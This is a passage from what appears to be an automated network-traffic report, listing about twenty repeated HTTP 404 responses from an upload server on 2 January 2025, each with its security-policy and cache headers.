ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ygYu82zC6obV2S2DYWnux_uAmtqMldNyUUubAJgmQ5J715FfIc2a2f3FbVjv2EKgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Be2qfYJvuWOeXiKZwBzKzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7pq1dpBb_fa2D5EzVrDu9ZveZfW3d9tPeBedSfsnqUB99CAj65tplMkp56UW6l0dSpContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-T99BGiUP7RhfuJ2hfh_iHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7mxnI5ydwAYFyere2_4MlGs8Wqb9AOQZs4BJasRe8jFiqmKw38uEoUi6ilvhBZev6OContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:47 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bKALfDcY-nvlGkO6-JPvlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6s4gOR73lQMY2UndEO6c0xQrqXONE8Lc_0F69l_x-_MO_Wc5iRYxGwA9J1pm7Of8gContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:48 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Hx8qXg4mYyKF8vjSsz-mFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4q_i4R9iAPd08uD7c-QZdb6UPJ_76hEqZvuyPyUYc9CmgPSxcxVoF8fp-0jocGfYsodmDvzJMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:51 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-G1EYSmQaVnCZ7We_xeb5tg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC45BK2ZiVCOJTylNCxCU5AqHYXXxu4ssPFjnSNcUIAWSMkmAh3wtStSCJ3paGj3WVVEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-ZbGoI6AkfDWf08z7tsCxsA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC46gvwpuLWds7h9u7lZ6o86Z4IMGuFfONnNlzF2URs8PiH-leQ5UmpaM2JXAX5tXeJGwTUOh0IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:52 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-BdrCW2XPztuyzis3Ef23rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7J-nxq6HqfLMYQwZ_QoJWWVk4MszAoPGD8_BrDFzzOuK4UTJB3md9PQtqgnzvKHwsw_2ha0vsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:52 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-N3xFILOYhZaGphVIq2ge3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC68IMqGZPP_J7AFqIJnOfTnvCm4yWsBvlpkpN-yJPBGL8xfigLlcwt9NDbh_xiHc7aIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-8NyWU9oTUVYrSyKfg1ZMLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7sfKN0H37Su_9SJUFc-2GXhrwQoYbAj0saupF9Ob5GAqecY77dKUsfJ0j4uOeIaqDSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-etMRvFvIMZcD9ZcYk71Skg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4bJT-AK1xgGw6CXIPxi7ORxN_wPPXBsmFov6Lh2T1bW8dBHsg5gOhq56EmJ0BwNpZSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-cFJ0x-YPeC1h8s5nXPZLmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5yipHIJRURjqsV3fqP1rVDuJ_E4E5DWPLypA59nBORL4LA0vBSetivf7zBLfrnWG_UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-guCN7p2yyVA0nTNM9Emksw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rpCmOp6GBLlIewz1sOC_4-LHCpJIBC8yDECOdolY20NdmiVshhQitqlaJHteAQ_hYrWP6QPYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-JCBlBtjVnkQptvRrDkWd5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5oP4QgKmgYUzZvf-JedWYTvOydVlb-stILsoGAXXeE0e2Uihcbci9OFgYcHHeBNisW4ATfltMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:58 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VR6ahjIG_wg5n4_iPIggVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7zKI6lHdmOUVGkvMYX1JFhOAHlFegcAy3EygHYlNcej5U4I5caa-rekDNPjZ0urTxn6iDkSi0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:59 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1XR6IPdPjRdXm-ERuWzgvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6FPKwO6G8kt_HYorVVQuVNDcTN3GhSYGlMiOvDsIsSlOeBV2wem5SkJhheK7Y1SkNSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:59 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-rs8ZQ90njOfWcy-JEvCFjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC61AdjwDCE993Lec3LWWuh7DTHH5AnsnCy0WiazRtbFAwIaDnmULXSb95YO87J9u8AdContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:00 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-EyTL52QY_VYFb6mcynrYLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6DNWYeiua8F-5OD5eGnunBxwdN1_poTRqPj2UEovtk1f43IRU2kWyu3OYn1bXIKhwcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:00 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VW-hgiZNhPwGmRDuhl3LkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC71aGBmOJh2YiWecIkVLzp0KQjq8v0MlQA2WTa5VajLPIDRZiuGP9B4KlIF12FsLJE43QeuZM0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:03 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-zJBqW50ToEMMhKOCSZ5CTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4HC4BzbiNSYs7SCz_pLL2Y8vD4k-tKkJs7JlmH3G4dpsit9TRdPW27Hfl3Dowjkt3nContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:03 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-x_tBSapZ8I_qZRaXX4FKww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
